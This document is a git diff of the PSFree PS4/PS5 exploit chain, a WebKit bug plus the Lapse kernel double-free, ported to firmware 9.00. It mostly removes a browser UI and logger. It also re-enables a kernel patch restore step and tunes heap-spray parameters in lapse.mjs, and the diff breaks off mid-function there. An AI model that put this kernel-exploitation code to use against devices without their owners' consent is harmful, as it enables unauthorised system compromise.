diff --git a/README.md b/README.md
index 9367724..6455077 100644
--- a/README.md
+++ b/README.md
@@ -1,29 +1,13 @@
# PSFree version 1.5.0
-Lapse Kex ported to 9.00 - WIP
+Lapse Kex ported to 9.00 - Still WIP
Very fast and reliable but can KP :P
-"Please note that this project is still in the beta phase, with stability at approximately 50%. If the exploit encounters an error, please restart the console and try again. Use this exploit at your own risk."
-
-
-
-TODO:
+- Needs a bin loader.
- Some performance Tweaks??.
-
-
-Payload Loader will look for payload.bin provided on this repo, you can swap it with another payload.
-PR are welcome!!!
-
-Credits:
-- Jhon https://github.com/janisslsm
-- SiSTR0 https://github.com/SiSTR0
-- CTN https://github.com/ctn123
-- Al-Azif https://github.com/al-azif
-- abc for PSFree webkit exploit & Lapse kernel Exploit
-- Chendochap https://github.com/ChendoChap
-- kameleonre.. for porting and chaining psfree + lapse on ps4 9.00 :P
+PR are welcome
PSFree is a collection of exploits for the PS4 console. The main focus of the
repo is for the PS4 but we try to make things portable to PS5.
@@ -32,7 +16,7 @@ repo is for the PS4 but we try to make things portable to PS5.
* PSFree: src/psfree.mjs
* Lapse (kernel): src/scripts/lapse.mjs
-Developer [abc] Donation (Monero/XMR):
+Donation (Monero/XMR):
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
# COPYRIGHT AND AUTHORS:
diff --git a/css/styles.css b/css/styles.css
deleted file mode 100644
index 8f1bde2..0000000
--- a/css/styles.css
+++ /dev/null
@@ -1,242 +0,0 @@
-/*
- * PSFree Enhanced UI Styles
- * Compatible with PS4 FW 9.00 Browser
- * TODO: Optimize for PS4 display and controller navigation
- */
-
-body {
- font-family: 'Liberation Mono', monospace;
- margin: 0;
- padding: 20px;
- background-color: #0d1117;
- color: #e6edf3;
-}
-
-.container {
- max-width: 900px;
- margin: 0 auto;
-}
-
-.header {
- text-align: center;
- margin-bottom: 20px;
- padding-bottom: 10px;
- border-bottom: 1px solid #30363d;
-}
-
-.header h1 {
- margin: 0;
- color: #58a6ff;
-}
-
-.header p {
- margin: 5px 0;
- color: #8b949e;
-}
-
-.card {
- background-color: #161b22;
- border-radius: 6px;
- padding: 15px;
- margin-bottom: 20px;
- border: 1px solid #30363d;
-}
-
-.card-title {
- margin-top: 0;
- color: #58a6ff;
- border-bottom: 1px solid #30363d;
- padding-bottom: 10px;
-}
-
-.btn {
- background-color: #238636;
- color: white;
- border: none;
- padding: 8px 16px;
- border-radius: 6px;
- cursor: pointer;
- font-weight: bold;
- transition: background-color 0.2s;
-}
-
-.btn:hover {
- background-color: #2ea043;
-}
-
-.btn:disabled {
- background-color: #3c4043;
- cursor: not-allowed;
-}
-
-.btn-danger {
- background-color: #da3633;
-}
-
-.btn-danger:hover {
- background-color: #f85149;
-}
-
-.progress-container {
- width: 100%;
- background-color: #30363d;
- border-radius: 4px;
- margin: 10px 0;
-}
-
-.progress-bar {
- height: 10px;
- background-color: #238636;
- border-radius: 4px;
- width: 0%;
- transition: width 0.3s;
-}
-
-#console {
- background-color: #0d1117;
- border: 1px solid #30363d;
- border-radius: 6px;
- padding: 10px;
- height: 300px;
- overflow-y: auto;
- font-family: 'Liberation Mono', monospace;
- white-space: pre-wrap;
- color: #e6edf3;
-}
-
-.status-indicator {
- display: inline-block;
- width: 12px;
- height: 12px;
- border-radius: 50%;
- margin-right: 5px;
-}
-
-.status-waiting {
- background-color: #8b949e;
-}
-
-.status-running {
- background-color: #f0883e;
-}
-
-.status-success {
- background-color: #56d364;
-}
-
-.status-error {
- background-color: #f85149;
-}
-
-.tabs {
- display: flex;
- margin-bottom: 10px;
-}
-
-.tab {
- padding: 8px 16px;
- cursor: pointer;
- background-color: #161b22;
- border: 1px solid #30363d;
- border-bottom: none;
- border-radius: 6px 6px 0 0;
- margin-right: 5px;
-}
-
-.tab.active {
- background-color: #0d1117;
- border-bottom: 1px solid #0d1117;
- position: relative;
- top: 1px;
-}
-
-.tab-content {
- display: none;
- padding: 15px;
- background-color: #0d1117;
- border: 1px solid #30363d;
- border-radius: 0 6px 6px 6px;
-}
-
-.tab-content.active {
- display: block;
-}
-
-.payload-item {
- display: flex;
- align-items: center;
- padding: 10px;
- border: 1px solid #30363d;
- border-radius: 6px;
- margin-bottom: 10px;
-}
-
-.payload-item.selected {
- border-color: #58a6ff;
- background-color: rgba(88, 166, 255, 0.1);
-}
-
-.payload-info {
- flex-grow: 1;
- margin-left: 10px;
-}
-
-.tooltip {
- position: relative;
- display: inline-block;
- cursor: help;
-}
-
-.tooltip .tooltip-text {
- visibility: hidden;
- width: 200px;
- background-color: #30363d;
- color: #e6edf3;
- text-align: center;
- border-radius: 6px;
- padding: 5px;
- position: absolute;
- z-index: 1;
- bottom: 125%;
- left: 50%;
- margin-left: -100px;
- opacity: 0;
- transition: opacity 0.3s;
-}
-
-.tooltip:hover .tooltip-text {
- visibility: visible;
- opacity: 1;
-}
-
-/* PS4 specific optimizations */
-@media screen and (max-width: 1920px) and (max-height: 1080px) {
- .container {
- max-width: 1600px;
- }
-
- #console {
- height: 400px;
- }
-
- .btn {
- padding: 12px 24px;
- font-size: 18px;
- }
-
- .tab {
- padding: 12px 24px;
- font-size: 18px;
- }
-}
-
-/* Focus styles for controller navigation */
-.btn:focus, .tab:focus, .payload-item:focus {
- outline: 3px solid #58a6ff;
-}
-
-/* Highlight the currently focused element for controller navigation */
-.controller-focus {
- outline: 3px solid #58a6ff !important;
- box-shadow: 0 0 10px rgba(88, 166, 255, 0.5);
-}
diff --git a/index.html b/index.html
index 119d914..7ab8be9 100644
--- a/index.html
+++ b/index.html
@@ -15,115 +15,28 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see .
-->
-
-
- PSFree v1.5.0 - PS4/PS5 Exploit
-
-
+
+ PSFree-Lapse Exploit For 9.00
-
-
-
-
-
-
-
-
-
-
-
-
-
-
About PSFree
-
PSFree is an exploit chain for PS4 and PS5.
-
Current version: 1.5.0
-
Supported firmware:
-
- - PS4: 5.00 - 12.50
- - PS5: 1.00 - 10.20
-
-
PSFree uses:
-
- - WebKit exploit (CVE-2022-22620)
- - Lapse kernel exploit
-
-
See JavaScript license info for source code and license details.
-
Donations (Monero/XMR):
- 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
-
-
-
-
Quick Guide
-
- - Open this page in the PS4 browser
- - The exploit will run automatically
- - Wait for the process to complete
- - If successful, the payload will run automatically
-
-
Note: If a Kernel Panic occurs, power off the console (do not restart) and try again.
-
Important: This website uses the default payload located in the root folder.
-
-
-
-
-
-
-
-
-
+ PSFree: A PS4/PS5 Exploit Chain
+ Donation (Monero/XMR):
+ 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
+ See JavaScript license information for the
+ source code and license.
+
+
+
diff --git a/js/payload-manager.js b/js/payload-manager.js
deleted file mode 100644
index 389275d..0000000
--- a/js/payload-manager.js
+++ /dev/null
@@ -1,124 +0,0 @@
-/**
- * PSFree Payload Manager
- * Compatible with PS4 FW 9.00 Browser
- * TODO: Add support for multiple payloads and payload verification
- */
-
-// Global state for payloads
-window.payloadState = {
- defaultPayload: null,
- customPayloads: {},
- selectedPayload: 'payload.bin'
-};
-
-// Function to load the default payload
-function loadDefaultPayload() {
- console.log('Loading default payload...');
-
- fetch('./payload.bin')
- .then(response => {
- if (!response.ok) {
- throw new Error('Failed to load default payload');
- }
- return response.arrayBuffer();
- })
- .then(arrayBuffer => {
- window.payloadState.defaultPayload = new Uint32Array(arrayBuffer);
- window.pld = window.payloadState.defaultPayload; // For backward compatibility
- console.log('Default payload loaded successfully');
-
- // Dispatch event for UI to update
- document.dispatchEvent(new CustomEvent('payloadLoaded', {
- detail: {
- name: 'payload.bin',
- size: arrayBuffer.byteLength
- }
- }));
- })
- .catch(error => {
- console.error('Error loading default payload:', error);
-
- // Dispatch event for UI to update
- document.dispatchEvent(new CustomEvent('payloadError', {
- detail: {
- name: 'payload.bin',
- error: error.message
- }
- }));
- });
-}
-
-// Function to load a custom payload
-function loadCustomPayload(name, arrayBuffer) {
- console.log(`Loading custom payload: ${name}`);
-
- try {
- const payload = new Uint32Array(arrayBuffer);
- window.payloadState.customPayloads[name] = payload;
-
- console.log(`Custom payload "${name}" loaded successfully`);
-
- // Dispatch event for UI to update
- document.dispatchEvent(new CustomEvent('customPayloadLoaded', {
- detail: {
- name: name,
- size: arrayBuffer.byteLength
- }
- }));
-
- return true;
- } catch (error) {
- console.error(`Error loading custom payload "${name}":`, error);
-
- // Dispatch event for UI to update
- document.dispatchEvent(new CustomEvent('payloadError', {
- detail: {
- name: name,
- error: error.message
- }
- }));
-
- return false;
- }
-}
-
-// Function to select a payload
-function selectPayload(name) {
- console.log(`Selecting payload: ${name}`);
-
- if (name === 'payload.bin') {
- if (window.payloadState.defaultPayload) {
- window.pld = window.payloadState.defaultPayload;
- window.payloadState.selectedPayload = name;
- return true;
- }
- return false;
- } else if (window.payloadState.customPayloads[name]) {
- window.pld = window.payloadState.customPayloads[name];
- window.payloadState.selectedPayload = name;
- return true;
- }
-
- return false;
-}
-
-// Function to get the currently selected payload
-function getSelectedPayload() {
- const name = window.payloadState.selectedPayload;
-
- if (name === 'payload.bin') {
- return window.payloadState.defaultPayload;
- } else {
- return window.payloadState.customPayloads[name];
- }
-}
-
-// Initialize by loading the default payload
-loadDefaultPayload();
-
-// Export functions to window for access from other scripts
-window.payloadManager = {
- loadCustomPayload,
- selectPayload,
- getSelectedPayload
-};
diff --git a/js/remote-logger.js b/js/remote-logger.js
deleted file mode 100644
index 91af6f9..0000000
--- a/js/remote-logger.js
+++ /dev/null
@@ -1,336 +0,0 @@
-/**
- * PSFree Remote Logger
- *
- * Remote logging system for PSFree that sends logs to a local server
- * to monitor exploit progress in real-time.
- *
- * TODO: Add automatic reconnect feature if the connection is lost
- */
-
-// Logger configuration
-const RemoteLogger = {
- // Server configuration
- config: {
- // Logging server URL (replace with your computer's IP)
- serverUrl: 'http://192.168.1.100:3000',
- // Whether logging is enabled
- enabled: true,
- // Whether to also print logs to the local console
- localConsole: true,
- // Minimum log level to be sent (0=DEBUG, 1=INFO, 2=WARN, 3=ERROR)
- minLevel: 0,
- // Unique ID for this logging session
- sessionId: generateSessionId(),
- // Device information
- deviceInfo: {
- userAgent: navigator.userAgent,
- firmware: detectFirmware(),
- timestamp: new Date().toISOString()
- },
- // Buffer to store logs if connection is lost
- logBuffer: [],
- // Maximum buffer size
- maxBufferSize: 100,
- // Connection status
- connected: false
- },
-
- // Log levels
- LEVEL: {
- DEBUG: 0,
- INFO: 1,
- WARN: 2,
- ERROR: 3
- },
-
- // Initialize the logger
- init: function(customConfig = {}) {
- // Merge default config with custom config
- this.config = { ...this.config, ...customConfig };
-
- // Try to auto-detect server IP if not configured
- if (this.config.serverUrl === 'http://192.168.1.100:3000') {
- this.autoDetectServerIp();
- }
-
- // Send session info to the server
- this.sendSessionInfo();
-
- // Override the original console.log function
- this.overrideConsoleLog();
-
- // Initialization log
- this.info('Remote Logger initialized', {
- config: {
- serverUrl: this.config.serverUrl,
- sessionId: this.config.sessionId,
- deviceInfo: this.config.deviceInfo
- }
- });
-
- return this;
- },
-
- // Try to auto-detect server IP
- autoDetectServerIp: function() {
- // List of commonly used IPs in local networks
- const commonIps = [
- 'http://192.168.1.100:3000',
- 'http://192.168.1.101:3000',
- 'http://192.168.1.102:3000',
- 'http://192.168.1.103:3000',
- 'http://192.168.1.104:3000',
- 'http://192.168.1.105:3000',
- 'http://192.168.0.100:3000',
- 'http://192.168.0.101:3000',
- 'http://192.168.0.102:3000',
- 'http://192.168.0.103:3000',
- 'http://192.168.0.104:3000',
- 'http://192.168.0.105:3000',
- 'http://10.0.0.100:3000',
- 'http://10.0.0.101:3000',
- 'http://10.0.0.102:3000'
- ];
-
- // Try pinging each IP to find an active server
- for (const ip of commonIps) {
- fetch(`${ip}/ping`, {
- method: 'GET',
- mode: 'no-cors',
- cache: 'no-cache',
- headers: {
- 'Content-Type': 'application/json'
- },
- timeout: 500
- })
- .then(() => {
- // If successful, use this IP
- this.config.serverUrl = ip;
- this.info(`Server found at ${ip}`);
- })
- .catch(() => {
- // If failed, try the next IP
- });
- }
- },
-
- // Send session info to the server
- sendSessionInfo: function() {
- if (!this.config.enabled) return;
-
- // Create URL with query parameters to avoid CORS issues with body
- const sessionData = {
- sessionId: this.config.sessionId,
- deviceInfo: JSON.stringify(this.config.deviceInfo),
- timestamp: new Date().toISOString()
- };
-
- // Create query string from data
- const queryString = Object.keys(sessionData)
- .map(key => `${encodeURIComponent(key)}=${encodeURIComponent(sessionData[key])}`)
- .join('&');
-
- // Send request using GET method and query parameters
- fetch(`${this.config.serverUrl}/session?${queryString}`, {
- method: 'GET',
- mode: 'no-cors',
- cache: 'no-cache'
- })
- .then(() => {
- this.config.connected = true;
-
- // Success log
- if (this.config.localConsole) {
- console.log(`Connected to logging server at ${this.config.serverUrl}`);
- console.log(`Session ID: ${this.config.sessionId}`);
- }
-
- // Send logs stored in buffer
- this.flushBuffer();
- })
- .catch(error => {
- this.config.connected = false;
- if (this.config.localConsole) {
- console.error('Failed to connect to logging server:', error);
- }
- });
- },
-
- // Override the original console.log functions
- overrideConsoleLog: function() {
- const originalLog = console.log;
- const originalWarn = console.warn;
- const originalError = console.error;
- const self = this;
-
- console.log = function(...args) {
- if (self.config.localConsole) {
- originalLog.apply(console, args);
- }
-
- self.debug(args.map(arg => {
- if (typeof arg === 'object') {
- return JSON.stringify(arg);
- }
- return arg;
- }).join(' '));
- };
-
- console.warn = function(...args) {
- if (self.config.localConsole) {
- originalWarn.apply(console, args);
- }
-
- self.warn(args.map(arg => {
- if (typeof arg === 'object') {
- return JSON.stringify(arg);
- }
- return arg;
- }).join(' '));
- };
-
- console.error = function(...args) {
- if (self.config.localConsole) {
- originalError.apply(console, args);
- }
-
- self.error(args.map(arg => {
- if (typeof arg === 'object') {
- return JSON.stringify(arg);
- }
- return arg;
- }).join(' '));
- };
- },
-
- // Send log to server
- sendLog: function(level, message, data = {}) {
- if (!this.config.enabled || level < this.config.minLevel) return;
-
- const logEntry = {
- sessionId: this.config.sessionId,
- timestamp: new Date().toISOString(),
- level: level,
- levelName: Object.keys(this.LEVEL).find(key => this.LEVEL[key] === level),
- message: message,
- data: JSON.stringify(data)
- };
-
- // If not connected, save to buffer
- if (!this.config.connected) {
- this.bufferLog(logEntry);
- return;
- }
-
- // Create query string from log data
- const queryString = Object.keys(logEntry)
- .map(key => `${encodeURIComponent(key)}=${encodeURIComponent(logEntry[key])}`)
- .join('&');
-
- // Send log to server using GET method
- fetch(`${this.config.serverUrl}/log?${queryString}`, {
- method: 'GET',
- mode: 'no-cors',
- cache: 'no-cache'
- })
- .catch(error => {
- this.config.connected = false;
- this.bufferLog(logEntry);
- if (this.config.localConsole) {
- console.error('Failed to send log to server:', error);
- }
- });
- },
-
- // Save log in buffer if connection is lost
- bufferLog: function(logEntry) {
- this.config.logBuffer.push(logEntry);
-
- // If buffer is too large, remove oldest logs
- if (this.config.logBuffer.length > this.config.maxBufferSize) {
- this.config.logBuffer.shift();
- }
- },
-
- // Send all buffered logs
- flushBuffer: function() {
- if (!this.config.connected || this.config.logBuffer.length === 0) return;
-
- for (const log of this.config.logBuffer) {
- this.sendLog(log.level, log.message, log.data ? JSON.parse(log.data) : {});
- }
-
- this.config.logBuffer = [];
- },
-
- // Logging functions
- debug: function(message, data = {}) {
- this.sendLog(this.LEVEL.DEBUG, message, data);
- },
-
- info: function(message, data = {}) {
- this.sendLog(this.LEVEL.INFO, message, data);
- },
-
- warn: function(message, data = {}) {
- this.sendLog(this.LEVEL.WARN, message, data);
- },
-
- error: function(message, data = {}) {
- this.sendLog(this.LEVEL.ERROR, message, data);
- },
-
- // Log exploit stage
- logStage: function(stage, percent, details = {}) {
- this.info(`STAGE: ${stage}`, {
- stage: stage,
- percent: percent,
- details: details
- });
-
- // Dispatch event for UI
- document.dispatchEvent(new CustomEvent('exploitProgress', {
- detail: {
- stage: stage,
- percent: percent
- }
- }));
- }
-};
-
-// Function to generate unique session ID
-function generateSessionId() {
- return 'xxxx-xxxx-xxxx-xxxx'.replace(/[x]/g, () => {
- const r = Math.random() * 16 | 0;
- return r.toString(16);
- });
-}
-
-// Function to detect firmware
-function detectFirmware() {
- const userAgent = navigator.userAgent;
- let firmware = null;
-
- // Detect PS4 firmware
- const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/);
- if (ps4Match && ps4Match[1]) {
- firmware = {
- console: 'PS4',
- version: ps4Match[1]
- };
- }
-
- // Detect PS5 firmware
- const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/);
- if (ps5Match && ps5Match[1]) {
- firmware = {
- console: 'PS5',
- version: ps5Match[1]
- };
- }
-
- return firmware;
-}
-
-// Export RemoteLogger to window
-window.RemoteLogger = RemoteLogger;
diff --git a/js/ui.js b/js/ui.js
deleted file mode 100644
index 8920458..0000000
--- a/js/ui.js
+++ /dev/null
@@ -1,449 +0,0 @@
-/**
- * PSFree Enhanced UI
- * Compatible with PS4 FW 9.00 Browser
- * TODO: Implement controller navigation and optimize for PS4 display
- */
-
-// Status constants
-const STATUS = {
- WAITING: 'waiting',
- RUNNING: 'running',
- SUCCESS: 'success',
- ERROR: 'error'
-};
-
-// Global state
-let state = {
- status: STATUS.RUNNING, // Changed from WAITING to RUNNING because it auto-runs
- progress: 0,
- selectedPayload: 'payload.bin', // Always uses the default payload
- customPayloads: [],
- settings: {
- autoRun: true, // Changed to true for auto-run
- verboseLogging: false,
- safeMode: true
- },
- controllerNavigation: {
- enabled: false,
- currentFocusIndex: 0,
- focusableElements: []
- }
-};
-
-// TODO: Exploit will run automatically when the page loads
-
-// Original console.log function
-const originalLog = console.log;
-
-// Override console.log to also update the UI
-console.log = function(...args) {
- // Call original console.log
- originalLog.apply(console, args);
-
- // Update UI console
- const message = args.map(arg => {
- if (typeof arg === 'object') {
- return JSON.stringify(arg);
- }
- return arg;
- }).join(' ');
-
- appendToConsole(message);
-};
-
-// Function to append text to the console
-function appendToConsole(text) {
- const consoleElement = document.getElementById('console');
- if (consoleElement) {
- consoleElement.textContent += text + '\n';
- consoleElement.scrollTop = consoleElement.scrollHeight;
- }
-}
-
-// Function to clear the console
-function clearConsole() {
- const consoleElement = document.getElementById('console');
- if (consoleElement) {
- consoleElement.textContent = '';
- }
-}
-
-// Function to update the UI status
-function updateStatus(status, message) {
- state.status = status;
-
- const statusIcon = document.getElementById('status-icon');
- const statusText = document.getElementById('status-text');
-
- if (!statusIcon || !statusText) return;
-
- // Remove all status classes
- statusIcon.classList.remove('status-waiting', 'status-running', 'status-success', 'status-error');
-
- // Add the appropriate class
- statusIcon.classList.add(`status-${status}`);
-
- // Update the status text
- statusText.textContent = message;
-
- // TODO: Exploit run and reset buttons have been removed
-}
-
-// Function to update the progress bar
-function updateProgress(percent) {
- state.progress = percent;
- const progressBar = document.getElementById('progress-bar');
- if (progressBar) {
- progressBar.style.width = `${percent}%`;
- }
-}
-
-// Function to handle tab switching
-function switchTab(tabId) {
- // Hide all tab contents
- document.querySelectorAll('.tab-content').forEach(content => {
- content.classList.remove('active');
- });
-
- // Deactivate all tabs
- document.querySelectorAll('.tab').forEach(tab => {
- tab.classList.remove('active');
- });
-
- // Activate the selected tab and content
- const tabContent = document.getElementById(`tab-${tabId}`);
- const tabElement = document.querySelector(`.tab[data-tab="${tabId}"]`);
-
- if (tabContent && tabElement) {
- tabContent.classList.add('active');
- tabElement.classList.add('active');
- }
-}
-
-// Function to add a custom payload
-function addCustomPayload(name, data) {
- const payloadList = document.getElementById('payload-list');
- if (!payloadList) return;
-
- // Create a new payload item
- const payloadItem = document.createElement('div');
- payloadItem.className = 'payload-item';
- payloadItem.dataset.payload = name;
- payloadItem.setAttribute('tabindex', '0'); // Make focusable for controller navigation
-
- // Create the payload content
- payloadItem.innerHTML = `
-
-
-
-
Custom payload (${formatBytes(data.byteLength)})
-
-
- `;
-
- // Add the payload to the list
- payloadList.appendChild(payloadItem);
-
- // Store the payload data
- state.customPayloads.push({
- name: name,
- data: data
- });
-
- // Save to localStorage
- saveCustomPayloads();
-
- // Update controller navigation
- updateFocusableElements();
-}
-
-// Function to format bytes to human-readable format
-function formatBytes(bytes, decimals = 2) {
- if (bytes === 0) return '0 Bytes';
-
- const k = 1024;
- const dm = decimals < 0 ? 0 : decimals;
- const sizes = ['Bytes', 'KB', 'MB', 'GB'];
-
- const i = Math.floor(Math.log(bytes) / Math.log(k));
-
- return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
-}
-
-// Function to save custom payloads to localStorage
-function saveCustomPayloads() {
- try {
- // We can only store the names in localStorage, not the actual binary data
- const payloadNames = state.customPayloads.map(p => p.name);
- localStorage.setItem('customPayloadNames', JSON.stringify(payloadNames));
- } catch (e) {
- console.log('Error saving custom payloads to localStorage:', e);
- }
-}
-
-// Function to save settings to localStorage
-function saveSettings() {
- try {
- localStorage.setItem('settings', JSON.stringify(state.settings));
- console.log('Settings saved');
- } catch (e) {
- console.log('Error saving settings to localStorage:', e);
- }
-}
-
-// Function to load settings from localStorage
-function loadSettings() {
- try {
- const savedSettings = localStorage.getItem('settings');
- if (savedSettings) {
- state.settings = JSON.parse(savedSettings);
-
- // Update UI to reflect loaded settings
- const autoRunElement = document.getElementById('auto-run');
- const verboseLoggingElement = document.getElementById('verbose-logging');
- const safeModeElement = document.getElementById('safe-mode');
-
- if (autoRunElement) autoRunElement.checked = state.settings.autoRun;
- if (verboseLoggingElement) verboseLoggingElement.checked = state.settings.verboseLogging;
- if (safeModeElement) safeModeElement.checked = state.settings.safeMode;
- }
- } catch (e) {
- console.log('Error loading settings from localStorage:', e);
- }
-}
-
-// Function to detect firmware version
-function detectFirmware() {
- const userAgent = navigator.userAgent;
- let firmware = null;
-
- // Detect PS4 firmware
- const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/);
- if (ps4Match && ps4Match[1]) {
- firmware = {
- console: 'PS4',
- version: ps4Match[1]
- };
- }
-
- // Detect PS5 firmware
- const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/);
- if (ps5Match && ps5Match[1]) {
- firmware = {
- console: 'PS5',
- version: ps5Match[1]
- };
- }
-
- return firmware;
-}
-
-// Function to check browser compatibility
-function checkCompatibility() {
- const userAgent = navigator.userAgent;
- let isCompatible = true;
- let message = '';
-
- // Check if running on PS4/PS5 browser
- if (userAgent.includes('PlayStation 4') || userAgent.includes('PlayStation 5')) {
- console.log('PlayStation browser detected. Optimal compatibility.');
-
- // Enable controller navigation if on PlayStation
- state.controllerNavigation.enabled = true;
- } else {
- console.log('WARNING: Not running in PlayStation browser. Some features may not work.');
- isCompatible = false;
- message = 'Not running in PlayStation browser';
- }
-
- // Check specific firmware version
- const firmware = detectFirmware();
- if (firmware) {
- console.log(`Detected ${firmware.console} FW ${firmware.version}`);
-
- if (firmware.console === 'PS4' && firmware.version === '9.00') {
- console.log('Detected PS4 FW 9.00. Optimal compatibility.');
- }
- }
-
- return { isCompatible, message, firmware };
-}
-
-// Function to run the exploit
-function runExploit() {
- updateStatus(STATUS.RUNNING, 'Running exploit...');
- updateProgress(5);
-
- // Clear the console if not in verbose mode
- if (!state.settings.verboseLogging) {
- clearConsole();
- }
-
- console.log('Starting PSFree exploit...');
-
- // The actual exploit will be triggered here via the import of lapse.mjs
- // This is handled by the original code in index.html
-
- // Listen for exploit progress events
- document.addEventListener('exploitProgress', function(event) {
- updateProgress(event.detail.percent);
- });
-
- // Listen for exploit status events
- document.addEventListener('exploitStatus', function(event) {
- updateStatus(event.detail.status, event.detail.message);
- });
-}
-
-// Function to reset the exploit
-function resetExploit() {
- updateStatus(STATUS.WAITING, 'Ready to start');
- updateProgress(0);
-
- if (!state.settings.verboseLogging) {
- clearConsole();
- }
-
- console.log('Exploit reset. Ready to start again.');
-
- // Reload the page to reset everything
- if (confirm('The page will reload to reset the exploit. Continue?')) {
- window.location.reload();
- }
-}
-
-// Function to update focusable elements for controller navigation
-function updateFocusableElements() {
- if (!state.controllerNavigation.enabled) return;
-
- // Get all focusable elements
- state.controllerNavigation.focusableElements = Array.from(document.querySelectorAll('button, .tab, .payload-item, input[type="checkbox"]'));
-
- // Reset focus index
- state.controllerNavigation.currentFocusIndex = 0;
-}
-
-// Function to handle controller navigation
-function handleControllerNavigation(event) {
- if (!state.controllerNavigation.enabled) return;
-
- const elements = state.controllerNavigation.focusableElements;
- let currentIndex = state.controllerNavigation.currentFocusIndex;
-
- // Handle navigation with D-pad
- switch (event.key) {
- case 'ArrowUp':
- currentIndex = Math.max(0, currentIndex - 1);
- break;
- case 'ArrowDown':
- currentIndex = Math.min(elements.length - 1, currentIndex + 1);
- break;
- case 'ArrowLeft':
- // If in tabs, navigate between tabs
- if (elements[currentIndex].classList.contains('tab')) {
- const tabs = Array.from(document.querySelectorAll('.tab'));
- const tabIndex = tabs.indexOf(elements[currentIndex]);
- if (tabIndex > 0) {
- currentIndex = elements.indexOf(tabs[tabIndex - 1]);
- }
- } else {
- currentIndex = Math.max(0, currentIndex - 1);
- }
- break;
- case 'ArrowRight':
- // If in tabs, navigate between tabs
- if (elements[currentIndex].classList.contains('tab')) {
- const tabs = Array.from(document.querySelectorAll('.tab'));
- const tabIndex = tabs.indexOf(elements[currentIndex]);
- if (tabIndex < tabs.length - 1) {
- currentIndex = elements.indexOf(tabs[tabIndex + 1]);
- }
- } else {
- currentIndex = Math.min(elements.length - 1, currentIndex + 1);
- }
- break;
- case 'Enter':
- // Simulate click on the focused element
- elements[currentIndex].click();
- return;
- }
-
- // Update focus
- if (currentIndex !== state.controllerNavigation.currentFocusIndex) {
- // Remove focus from all elements
- elements.forEach(el => {
- el.classList.remove('controller-focus');
- });
-
- // Add focus to the current element
- elements[currentIndex].classList.add('controller-focus');
- elements[currentIndex].focus();
-
- // Update current index
- state.controllerNavigation.currentFocusIndex = currentIndex;
- }
-}
-
-// Setup event listeners
-function setupEventListeners() {
- // Tab switching - only for console tab
- document.querySelectorAll('.tab').forEach(tab => {
- tab.addEventListener('click', () => {
- switchTab(tab.dataset.tab);
- });
- });
-
- // TODO: Run exploit, reset, upload payload, and settings buttons have been removed
-
- // Controller navigation
- document.addEventListener('keydown', handleControllerNavigation);
-
- // Custom events from exploit
- document.addEventListener('exploitProgress', function(event) {
- updateProgress(event.detail.percent);
- });
-
- document.addEventListener('exploitStatus', function(event) {
- updateStatus(event.detail.status, event.detail.message);
- });
-
- // Payload events
- document.addEventListener('payloadLoaded', function(event) {
- console.log(`Payload loaded: ${event.detail.name} (${formatBytes(event.detail.size)})`);
- });
-
- document.addEventListener('payloadError', function(event) {
- console.log(`Error loading payload ${event.detail.name}: ${event.detail.error}`);
- updateStatus(STATUS.ERROR, `Error loading payload: ${event.detail.error}`);
- });
-}
-
-// Initialize the UI
-function initUI() {
- console.log('Initializing PSFree UI...');
-
- // Load settings
- loadSettings();
-
- // Setup event listeners
- setupEventListeners();
-
- // Check compatibility
- checkCompatibility();
-
- // Update focusable elements for controller navigation
- updateFocusableElements();
-
- // Always run exploit automatically
- setTimeout(() => {
- console.log('Automatically running exploit...');
- runExploit();
- }, 1000);
-
- console.log('UI initialized. Exploit will auto-run.');
-
- // TODO: Exploit will always auto-run without conditions
-}
-
-// Initialize when the DOM is fully loaded
-document.addEventListener('DOMContentLoaded', initUI);
diff --git a/kpatch/900.c b/kpatch/900.c
index 5468a4a..2ff5a67 100644
--- a/kpatch/900.c
+++ b/kpatch/900.c
@@ -35,7 +35,7 @@ void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
- //restore(uap); Disable to backtrace
+ restore(uap);
return 0;
}
diff --git a/kpatch/900.elf b/kpatch/900.elf
index f41b7de..a38fa6b 100644
Binary files a/kpatch/900.elf and b/kpatch/900.elf differ
diff --git a/kpatch/900.o b/kpatch/900.o
index 7fd37c8..2e7e5be 100644
Binary files a/kpatch/900.o and b/kpatch/900.o differ
diff --git a/lapse.mjs b/lapse.mjs
index fe6ef64..715cb42 100644
--- a/lapse.mjs
+++ b/lapse.mjs
@@ -96,9 +96,6 @@ const CPU_LEVEL_WHICH = 3;
const CPU_WHICH_TID = 1;
// sys/mman.h
-const PROT_READ = 1;
-const PROT_WRITE = 2;
-const PROT_EXEC = 4;
const MAP_SHARED = 1;
const MAP_FIXED = 0x10;
@@ -136,13 +133,14 @@ const main_core = 7;
const num_grooms = 0x200;
const num_handles = 0x100;
const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS
-const num_alias = 50; //TODO: check best value here for 9.xx
+const num_alias = 40;
const num_races = 100;
const leak_len = 16;
const num_leaks = 5;
const num_clobbers = 8;
let chain = null;
+var nogc = [];
async function init() {
await rop.init();
chain = new Chain();
@@ -956,179 +954,40 @@ function leak_kernel_addrs(sd_pair) {
// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
-// Fungsi sleep sederhana untuk menambah delay
-function sleep(ms) {
- const start = Date.now();
- while (Date.now() - start < ms) {
- // Busy wait
- }
-}
-
function make_aliased_pktopts(sds) {
const tclass = new Word();
+ for (let loop = 0; loop < num_alias; loop++) {
+ for (let i = 0; i < num_sds; i++) {
+ tclass[0] = i;
